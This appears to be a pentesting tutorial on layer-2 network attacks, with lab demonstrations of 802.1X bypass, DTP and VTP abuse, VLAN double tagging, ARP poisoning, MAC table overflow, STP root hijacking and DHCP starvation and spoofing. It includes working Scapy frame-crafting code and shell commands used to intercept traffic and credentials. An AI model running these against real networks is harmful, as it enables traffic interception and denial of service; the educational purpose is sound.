This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
The main goal of an attacker is to gain access to computer network resources or disrupt the normal network operation (i.e. cause a denial of service). In most cases, attacks at the data link layer are delivered simultaneously to raise the exploitation efficiency. For instance, the attack causing a content-addressable memory overflow in a switch creates ideal conditions for traffic interception, an attack on the DTP protocol enables the attacker to escape to another VLAN and compromise VLAN segments, etc.
Data-link layer attacks can be divided into three types:
- MITM. An attacker ‘stands in the middle’ between network devices and intercepts traffic without visible attack signs for legitimate hosts on the network;
- DoS. An attacker delivers a destructive attack on network equipment to disable it. In pentesting studies, such attacks are less practical and are suitable only as a deceptive maneuver in red-teaming; and
- unauthorized access to network segments. Using protocol flaws, an attacker can unpredictably gain access to inaccessible parts of the network. This type includes DTP VLAN hopping and double tagging attacks.
Disclaimer and toolkit
The data link layer offers numerous vectors for denial of service attacks. Prior to using them in a pentesting study, make sure to coordinate your steps with the customer! In production, delivery of DoS attacks is a very special thing. In my opinion, they are most useful in red-teaming as a maneuver to distract the blue team.
I am going to use the following tools:
- Yersinia – a framework for L2 attacks and stress tests of computer networks;
- Scapy – a Python module for manipulations with network packets. It can be used both as a sniffer and a packet injector; and
- FENRIR – a framework designed to bypass 802.1X protection on Ethernet networks.
How to bypass 802.1X
IEEE 802.1X is an end-user authentication and authorization standard at the data link layer. It supports access control and prevents devices from connecting to the local network without a special authorization procedure. This mechanism significantly increases the security level on the local network by preventing unauthorized connections. For pentesters, 802.1X can pose a major problem.
MAC authentication bypass
This 802.1X bypassing technique is very simple. MAB is used against devices that don’t support 802.1x authentication. In other words, MAC authorization is performed. MAB is very easy to bypass. You just find some legitimate device, write down its MAC address, and assign this MAC address to the network interface of the attacking PC. Then you connect to the switch and get access to the network. I won’t demonstrate this attack since it’s too simple.
Bridge-based attack is the most popular and effective way to bypass 802.1X. To implement it, you have to place your device between a legitimate client that has passed the 802.1X authentication and the switch. The switch acts as an authenticator and provides connectivity between the client and the authentication server.
Too bad, this attack has a limitation. To use it in production, you need a legitimate device that has passed the 802.1X authentication. It can be a printer, an IP phone, or an employee’s laptop.
To demonstrate this attack, I will use the FENRIR tool.
First, I switch physical interfaces to the promiscuous mode:
c0ldheim@PWN:~$ sudo ifconfig eth0 promiscc0ldheim@PWN:~$ sudo ifconfig eth1 promisc
Then I run FENRIR and specify the IP address of the legitimate device, its MAC address, and two interfaces of my attacking PC. In real-life conditions, you can gain all this information by listening the traffic. The interface looking towards the legitimate device will act as
hostIface; the interface looking towards the switch, as
netIface. After that, I create a bridge called
c0ldheim@PWN:~$ sudo python2 Interface.pyFENRIR > set host_ip 10.1.1.3FENRIR > set host_mac 50:00:00:04:00:00FENRIR > set hostIface eth1FENRIR > set netIface eth0FENRIR > create_virtual_tap
The newly-created bridge must be configured. I switch it to the promiscuous mode and assign the desired IP address taking into account the subnet mask. Finally, I add the default route for the
c0ldheim@PWN:~$ sudo ifconfig FENRIR promiscc0ldheim@PWN:~$ sudo ifconfig FENRIR 10.1.1.50 netmask 255.255.255.0c0ldheim@PWN:~$ sudo route add default gw 10.1.1.254 FENRIR
run command in the FENRIR console launches the attack.
FENRIR > run
Success! I gained access to the network and can continue network reconnaissance to find neighbors in this network. I run an ARP scan using netdiscover.
Let’s see whether a path to the router is available.
After the exploitation, the legitimate host retains its connection and has access to the Internet.
CDP x LLDP
Dumping CDP/LLDP traffic has a significant impact because the attacker gets plenty of information about the network device: from its model to the duplex type. Information extracted from a CDP/LLDP traffic dump is extremely useful to the attacker. For instance, it can be used to determine the switch firmware version. If it has a known vulnerability, then the attacker can exploit it.
By sending a huge number of CDP messages, an attacker can cause a denial of service on a Cisco switch. The switch’s CPU becomes completely overloaded, while the CDP neighbors table starts overflowing. The attack is quite simple, so I won’t spend much time on it.
To deliver this attack, I will use Yersinia. I need the “flooding CDP table” option: it will cause an avalanche-like and very fast flood of CDP frames; these frames will overload the switch’s CPU, thus, making normal network operation impossible.
Attacking VLAN networks
Dynamic trunking and escape to other VLAN segments
This attack is applicable only to Cisco switches. The idea is to forcibly switch a port to the trunk channel mode. The DTP protocol is responsible for automatic trunking on Cisco switches. By default, all ports on a Cisco switch are in DTP Dynamic Auto mode. This means that the port will wait for a trunk initiation from a neighboring port. After sending a specially crafted DTP Desirable frame, the attacker will be able to jump to any VLAN and view traffic of all VLANs.
I will use Scapy to assemble a DTP Desirable frame. First, I import the module required to work with the DTP protocol:
>>> from.scapy.contrib.dtp import *
Then I assemble an 802.3 Ethernet frame; the source MAC address will be randomized, while the destination MAC address will be the L2 multicast address:
The multicast address
01: is used not only by the DTP protocol, but also by CDP, VTP, PAgP, and UDLD. To ensure that the protocols send advertisements to the same multicast address in different ways, a unique value is implemented for each them in the SNAP header at the LLC (Logical Link Control) level. For DTP, this value is
SNAP layers, the value
0x2004 indicates that this is the DTP protocol. In
tlvlist, default header values can be left, except for
DTPNeighbor. At the end, I loop the operation sending out the assembled frame: it will be sent every three seconds. This is because the port was configured dynamically, and its lifetime is only 300 seconds (i.e. 5 minutes).
>>> mymac = RandMAC()>>> dtp_frame = Dot3(src=mymac, dst="01:00:0C:CC:CC:CC")>>> dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)>>> dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])>>> sendp(dtp_frame, iface="eth0", inter=3, loop=1, verbose=1)
For some reason, the default DTP frame in Scapy stores all values required to assemble a DTP Desirable frame. I don’t know yet why, but in this particular case, it’s an advantage that saves my time. Accordingly, I leave the default DTP parameters (with the exception of
The most important headers and their values are as follows:
DTPType– header value indicating the use of 802.1Q encapsulation; and
= '\ xa5'
DTPStatus– header value indicating the status of the DTP frame. This status is
= '\ x03'
Desirable; it’s required to initiate the trunk mode on the port.
After this attack, you can see traffic of all VLANs. The performed network reconnaissance has detected VLANs 100, 200, 220, and 250. These VLAN ID values are located in one of the headers of the STP protocol: Root Identifier (Root Bridge System ID Extension).
Now it’s time to create virtual VLAN interfaces, activate them, and request addresses via DHCP. As a result, you’ll be able to communicate with all hosts in all VLANs.
c0ldheim@PWN:~$ sudo vconfig add eth0 100c0ldheim@PWN:~$ sudo vconfig add eth0 200c0ldheim@PWN:~$ sudo vconfig add eth0 220c0ldheim@PWN:~$ sudo vconfig add eth0 250c0ldheim@PWN:~$ sudo ifconfig eth0.100 upc0ldheim@PWN:~$ sudo ifconfig eth0.200 upc0ldheim@PWN:~$ sudo ifconfig eth0.220 upc0ldheim@PWN:~$ sudo ifconfig eth0.250 upc0ldheim@PWN:~$ sudo dhclient -v eth0.100c0ldheim@PWN:~$ sudo dhclient -v eth0.200c0ldheim@PWN:~$ sudo dhclient -v eth0.220c0ldheim@PWN:~$ sudo dhclient -v eth0.250
VTP injections and manipulations with VLAN databases
The VTP protocol was developed to manage VLAN databases on Cisco switches automatically and on a centralized basis. It uses configuration revision numbers that help the switch to determine the most recent VLAN database, receive VTP advertisements, and update the VLAN DB when it sees a higher revision number.
In the VTP domain, switches can play the following roles:
- VTP Server. A switch acting as a VTP Server can create new VLANs, delete old ones, or change information inside VLANs. It also generates VTP advertisements for the rest of the domain members;
- VTP Client. In this capacity, the switch receives special VTP advertisements from other switches in the domain in order to update its VLAN databases. Clients have a limited ability to create VLANs and don’t even have the permission to change the VLAN configuration locally (i.e. have read-only access); and
- VTP Transparent. In this mode, the switch doesn’t participate in VTP processes and can perform full and local administration of the entire VLAN configuration. In the transparent mode, switches only transmit VTP advertisements from other switches without affecting their VLAN configurations. Such switches always have a revision number of zero, and VTP injection attacks cannot be delivered against them.
Advertisement types in the VTP domain:
- Summary Advertisement – a VTP advertisement sent by the VTP server every 300 seconds (5 minutes). This advertisement contains the VTP domain name, protocol version, timestamp, and MD5 hash of the configuration;
- Subset Advertisement – a VTP advertisement sent every time the VLAN configuration is changed; and
- Advertisement Request – a request from a VTP client to a VTP server for a
Summarymessage. It is usually sent in response to a message that the switch has discovered a
Summarywith a higher configuration revision number.
To attack a VTP domain, the port you are connected to during the attack must be in the trunk channel mode. By the way, attacking the VTP can be the next step after you’ve attacked the DTP protocol and became a trunk link. An attacker can make VTP injections and send allegedly ‘updated’ VLAN databases with higher revision numbers. As a result, legitimate switches will receive and update their VLAN databases. Using Yersinia, I will show how to deliver an attack on VTPv1 and delete all VLANs.
Yersinia will generate special VTP advertisements:
As you can see, after the attack, all VLANs created by the user have been deleted. VLAN 1 and VLANs in the range 1002-1005 were not deleted because they are always created by default.
Double tagging attack
The double tagging attack exploits 802.1Q encapsulation features in Ethernet networks. In most cases, switches execute only one layer of the process: 802.1Q decapsulation. This opens the way for exploitation since this feature enables the
hacker pentester to hide the second 802.1Q tag in an Ethernet frame.
Attack details are as follows:
- The attacker assembles an Ethernet frame with two tags and sends it towards the switch. The VLAN ID of the first 802.1Q tag must match the Native VLAN of the port operating in the trunk mode. For convenience, imagine that the first 802.1Q tag is VLAN 1; while the second 802.1Q tag is VLAN 100;
- The frame is received by switch SW 1. The switch checks the first four bytes of the 802.1Q tag. The switch sees that the frame is intended for VLAN 1, and VLAN 1 in its configuration is the Native VLAN. Switch SW1 destroys this tag. Concurrently, the second VLAN 100 tag remains intact and doesn’t disappear; and
Native VLAN is a special VLAN, and the switch associates all frames without an 802.1Q tag with it. The default Native VLAN ID is 1.
- Switch SW2 checks only the internal 802.1Q tag and sees that the frame is intended for VLAN 100. This switch sends the frame to the port that belongs to VLAN 100, and the frame reaches its destination.
I will use Scapy to assemble an Ethernet broadcast frame with two 802.1Q tags. To visualize how the frame reaches its destination and responds to the spoofed ICMP request, an ICMP layer will be added. Then I send this request – allegedly, from the Nefarian PC whose IP address is 10.10.200.1.
>>> frame = Ether(dst="FF:FF:FF:FF:FF:FF")>>> first_DOT1Q_tag = Dot1Q(vlan=1)>>> second_DOT1Q_tag = Dot1Q(vlan=100)>>> ip_packet = IP(src="10.10.200.1", dst="10.10.100.1")>>> icmp_layer = ICMP()>>> crafted = frame / first_DOT1Q_tag / second_DOT1Q_tag / ip_packet / icmp_layer>>> sendp(crafted, iface="eth0", count=40, loop=0, verbose=1)
As you can see, the packet has reached the destination host, but with only one VLAN ID 100 tag (because the first VLAN 1 tag was destroyed by the first SW1 switch). Note that this is a single-direction attack. It can be useful when you attack the DMZ segment in the course of a pentesting study.
Network reconnaissance and traffic interception with ARP
The ARP protocol can be extremely useful in network reconnaissance. An ARP scan enumerates active hosts and has a slight advantage over ICMP scans because ICMP traffic can be restricted or even disabled on a corporate network.
The problem with ARP scanning is that this network reconnaissance technique is very ‘noisy’. Using it, it’s important to ensure that you don’t alarm the IPS/IDS security systems. In addition, Storm Control on the port you are connected to can be configured to block this port in case of abnormal broadcast traffic (ARP uses broadcast traffic).
Using ARPScanner.py, you can identify active hosts on the 10.1.1.0/24 network and their MAC addresses. In my case, the test network is small, but still…
c0ldheim@PWN:~$ sudo python3 ARPScanner.py -t 10.1.1.0/24 -i eth0
ARP cache poisoning
This network attack exploits weaknesses of the ARP protocol. Any host on the network can send and receive ARP requests; they do this without any authentication (there is no authentication mechanism in the ARP protocol); so, all hosts trust each other. The attacker sends bogus ARP responses towards target A and target B. Using forged ARP responses, the attacker’s computer is positioned as target A for target B and vice versa, thus, squeezing in the middle. This creates conditions for traffic interception.
The picture below shows how ARP cache poisoning works.
To implement this attack, I have to switch my interface to the promiscuous mode and enable forwarding between interfaces. Otherwise, the two hosts will lose connectivity between themselves: the traffic will go via my PC without forwarding between interfaces.
c0ldheim@PWN:~$ ifconfig eth0 promiscc0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1
Using the script ARPSpoofer.py, I launch the ARP poisoning process. As the first target, I specify a Windows PC whose IP address is 10.1.1.2; as the second one, an FTP server whose address is 10.1.1.5.
c0ldheim@PWN:~$ sudo python3 ARPSpoofer.py -t1 10.1.1.2 -t2 10.1.1.5 -i eth0
After that, I can start listening the network traffic.
Content-addressable memory overflow on a switch
Sometimes, this attack is referred to as MAC address table overflow. The idea is to overflow the interconnect matrix. As a result, the switch, turns into a ‘hub’ and starts sending incoming frames to all ports, thus, providing ideal conditions for traffic interception. It’s very easy to cause such an overflow because the size of MAC address tables on switches is limited. If the MAC address table is full, the attacker can see all frames sent from all ports.
I will use Scapy to demonstrate this attack. A randomized MAC address will be used as the source MAC address (i.e. each new generated frame will have a new MAC address). The same applies to destination MAC addresses.
Next, using the
sendp method, I send malicious Ethernet frames. By setting
loop , I loop the operation sending out these frames.
>>> malicious_frames = Ether(src=RandMAC(), dst=RandMAC())>>> sendp(malicious_frames, iface="eth0", loop=1, verbose=1)
MAC address table on the switch before the attack:
CoreSW#show mac address-table count
Mac Entries for Vlan 1:
Dynamic Address Count : 3
Static Address Count : 0
Total Mac Addresses : 3
Total Mac Address Space Available: 7981
MAC address table on the switch after the attack:
CoreSW#show mac address-table count
Mac Entries for Vlan 1:
Dynamic Address Count : 7981
Static Address Count : 0
Total Mac Addresses : 7981
Total Mac Address Space Available: 7981
As long as the MAC address table isn’t full, the Switch will forward all frames from all ports using broadcasting.
STP root hijacking
How STP works
STP is required to ensure fault tolerance of a computer network at the data link level. It blocks redundant channels to avoid a broadcast storm on the network. In my opinion, STP is an outdated L2 level fault tolerance technique, especially taking into account the existence of the switching link aggregation system and the Storm Control technology.
When an STP topology is assembled, a special root switch (i.e. root bridge) is assigned. Its selection is based on a special priority value (by default, it’s 32768). All switches in the STP domain have the same value; therefore, the choice is determined by adding together the following parameters:
- priority value 32768; and
- MAC address of the switch.
The switch whose MAC address is lower becomes the root switch. Network device manufacturers assign MAC addresses to their products in sequence. The older is the device, the lower is its MAC address. As a result, some ancient switch often becomes the root switch in production! 🙂 Of course, this adversely affects the network bandwidth.
After selecting the root switch, the remaining switches select ports that look towards the root switch. They are used for traffic forwarding. Then ports that will be blocked at the logical level are selected. This is how STP prevents the formation of a switching ring that causes a broadcast storm.
But if a new switch whose priority is lower than the priority of the current root switch suddenly appears in the STP domain, a new root switch must be selected. In other words, legitimate network traffic can be intercepted by changing the STP topology.
First, I switch my physical interfaces to the promiscuous mode, create a bridge called
br-evil, and assign two interfaces,
eth1, to this bridge:
c0ldheim@PWN:~$ sudo ifconfig eth0 promiscc0ldheim@PWN:~$ sudo ifconfig eth1 promiscc0ldheim@PWN:~$ sudo brctl addbr br-evilc0ldheim@PWN:~$ sudo brctl addif br-evil eth0c0ldheim@PWN:~$ sudo brctl addif br-evil eth1c0ldheim@PWN:~$ sudo ifconfig br-evil promiscc0ldheim@PWN:~$ sudo ifconfig br-evil up
Then I enable traffic forwarding between the interfaces.
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1
Scapy is required to assemble a special STP frame. I import the module required to work with L2 protocols.
>>> from scapy.layers.l2 import *
Then I assemble the required STP frame with the lowest MAC address values in the
bridgemac variables. And finally, I loop the operation sending out this frame every 3 seconds:
>>> frame = Ether(src="00:00:00:00:00:11", dst="01:80:C2:00:00:00")>>> frame /= LLC()/STP(rootmac="00:00:00:00:00:11", bridgemac="00:00:00:00:00:11")>>> sendp(frame, iface="br-evil", inter=3, loop=1, verbose=1)
STP uses the multicast MAC address
01: to broadcast TCN service messages.
After sending out the crafted frame, I see STP TCN messages. Switches in the STP domain use them to exchange service information with each other.
STP status on switch SW1 after the attack:
VLAN0001Spanning tree enabled protocol rstpRoot ID Priority 32769Address 5000.0007.0000Cost 4Port 1 (GigabitEthernet0/0)Hello Time 2 sec Max Age 20 sec Forward Delay 15 secBridge ID Priority 32769 (priority 32768 sys-id-ext 1)Address 5000.0008.0000Hello Time 2 sec Max Age 20 sec Forward Delay 15 secAging Time 300 secInterface Role Sts Cost Prio.Nbr Type------------------- ---- --- --------- -------- --------------------------------Gi0/0 Root FWD 4 128.1 ShrGi0/1 Desg FWD 4 128.2 ShrGi0/2 Desg FWD 4 128.3 ShrGi0/3 Desg FWD 4 128.4 ShrGi1/0 Desg FWD 4 128.5 ShrGi1/1 Desg FWD 4 128.6 ShrGi1/2 Desg FWD 4 128.7 ShrInterface Role Sts Cost Prio.Nbr Type------------------- ---- --- --------- -------- --------------------------------Gi1/3 Desg FWD 4 128.8 Shr
STP status on switch SW2 after the attack:
VLAN0001Spanning tree enabled protocol rstpRoot ID Priority 32769Address 5000.0007.0000Cost 8Port 1 (GigabitEthernet0/0)Hello Time 2 sec Max Age 20 sec Forward Delay 15 secBridge ID Priority 32769 (priority 32768 sys-id-ext 1)Address 5000.0009.0000Hello Time 2 sec Max Age 20 sec Forward Delay 15 secAging Time 300 secInterface Role Sts Cost Prio.Nbr Type------------------- ---- --- --------- -------- --------------------------------Gi0/0 Root FWD 4 128.1 ShrGi0/1 Altn BLK 4 128.2 ShrGi0/2 Desg FWD 4 128.3 ShrGi0/3 Desg FWD 4 128.4 ShrGi1/0 Desg FWD 4 128.5 ShrGi1/1 Desg FWD 4 128.6 ShrGi1/2 Desg FWD 4 128.7 ShrInterface Role Sts Cost Prio.Nbr Type------------------- ---- --- --------- -------- --------------------------------Gi1/3 Desg FWD 4 128.8 Shr
STP status on switch SW3 after the attack:
VLAN0001Spanning tree enabled protocol rstpRoot ID Priority 32769Address 5000.0007.0000Cost 4Port 1 (GigabitEthernet0/0)Hello Time 2 sec Max Age 20 sec Forward Delay 15 secBridge ID Priority 32769 (priority 32768 sys-id-ext 1)Address 5000.000a.0000Hello Time 2 sec Max Age 20 sec Forward Delay 15 secAging Time 300 secInterface Role Sts Cost Prio.Nbr Type------------------- ---- --- --------- -------- --------------------------------Gi0/0 Root FWD 4 128.1 ShrGi0/1 Altn BLK 4 128.2 ShrGi0/2 Desg FWD 4 128.3 ShrGi0/3 Desg FWD 4 128.4 ShrGi1/0 Desg FWD 4 128.5 ShrGi1/1 Desg FWD 4 128.6 ShrGi1/2 Desg FWD 4 128.7 ShrInterface Role Sts Cost Prio.Nbr Type------------------- ---- --- --------- -------- --------------------------------Gi1/3 Desg FWD 4 128.8 Shr
Now the traffic will go through my computer. For clarity purposes, I initiate ICMP requests from the computer whose IP address is 10.1.1.100 to the computer whose IP address is 10.1.1.200.
As you can see, such a relatively simple technique makes it possible to intercept traffic. Importantly, there are no visible signs of an attack for legitimate hosts.
VLAN ID enumeration
A captured STP frame makes it possible to understand which VLAN you are in. VLAN ID information is located in the Root Identifier header (Root Bridge System ID Extension). Its value is equivalent to the VLAN ID value on the port you are connected to.
DHCP starvation and spoofing
During this attack, you send a huge number of
DHCPDISCOVER messages to exhaust the address space on the DHCP server. The DHCP server responds to each request and issues an IP address. Once the address space is full, the DHCP server will no longer be able to serve new clients on its network by issuing IP addresses to them (i.e. a denial of service occurs).
Let’s test this attack on a small local network. The DHCP server is already configured on the GW router. Subnet: 10.1.1.0/24.
Using Scapy, I start sending bogus
DHCPDISCOVER messages. The broadcast addresses are used as the destination MAC address and destination IP address. I have to add the UDP protocol layer since DHCP uses it. In the
options template, I indicate that I will send DHCP packets of the
DISCOVER type. And at the end, I loop the infinite flood of generated frames.
>>> malicious_dhcp_discover = Ether(src=RandMAC(), dst="FF:FF:FF:FF:FF:FF")>>> malicious_dhcp_discover /= IP(src="0.0.0.0",dst="255.255.255.255")>>> malicious_dhcp_discover /= UDP(sport=68, dport=67)>>> malicious_dhcp_discover /= BOOTP(op=1, chaddr = RandMAC())>>> malicious_dhcp_discover /= DHCP(options=[('message-type', 'discover'),('end')])>>> sendp(malicious_dhcp_discover, iface="eth0", loop=1, verbose=1)
Success! The DHCP server has been disabled, and you can start creating its bogus counterpart.
After disabling the legitimate DHCP server, you can deploy a rogue DHCP server on your side and declare it the default gateway. When a DHCP server issues IP addresses to hosts on a network, it also transmits information about the IP address of the default gateway. Therefore, I configure my rogue DHCP server so that my IP address is specified as the default gateway. The client receives this address after sending a request to me; I become the default gateway on its side; and from now on, the client will send its packets to me.
I use Yersinia, to deploy a rogue DHCP server.
Next, I use two commands to initiate an IP address update on the Windows 10 PC (in other words, I try to get an address from my rogue DHCP server):
C:\Windows\system32> ipconfig /releaseC:\Windows\system32> ipconfig /renew
As you can see, the client received the IP address of the default gateway and information about it. Now I can try to intercept traffic since all the client’s traffic goes to me.
I switch the interface to the promiscuous mode and allow traffic forwarding on the interface:
c0ldheim@PWN:~$ sudo ifconfig eth0 promiscc0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1
As a result, I was able to intercept unencrypted FTP traffic with the following credentials:
In this article, I have analyzed most of the attack scenarios targeting the data link layer of a computer network. Based on my personal pentesting experience, I can say that admins very often don’t pay due attention to L2 layer protocols and leave their default configurations intact. This, as you can see, can be exploited by an attacker.
In these recent times, L2 attacks have lost their actuality and gone out of fashion: very few people pay attention to them. Hopefully, this article will provide pentesters with new attack vectors and help network engineers to raise the security of their networks.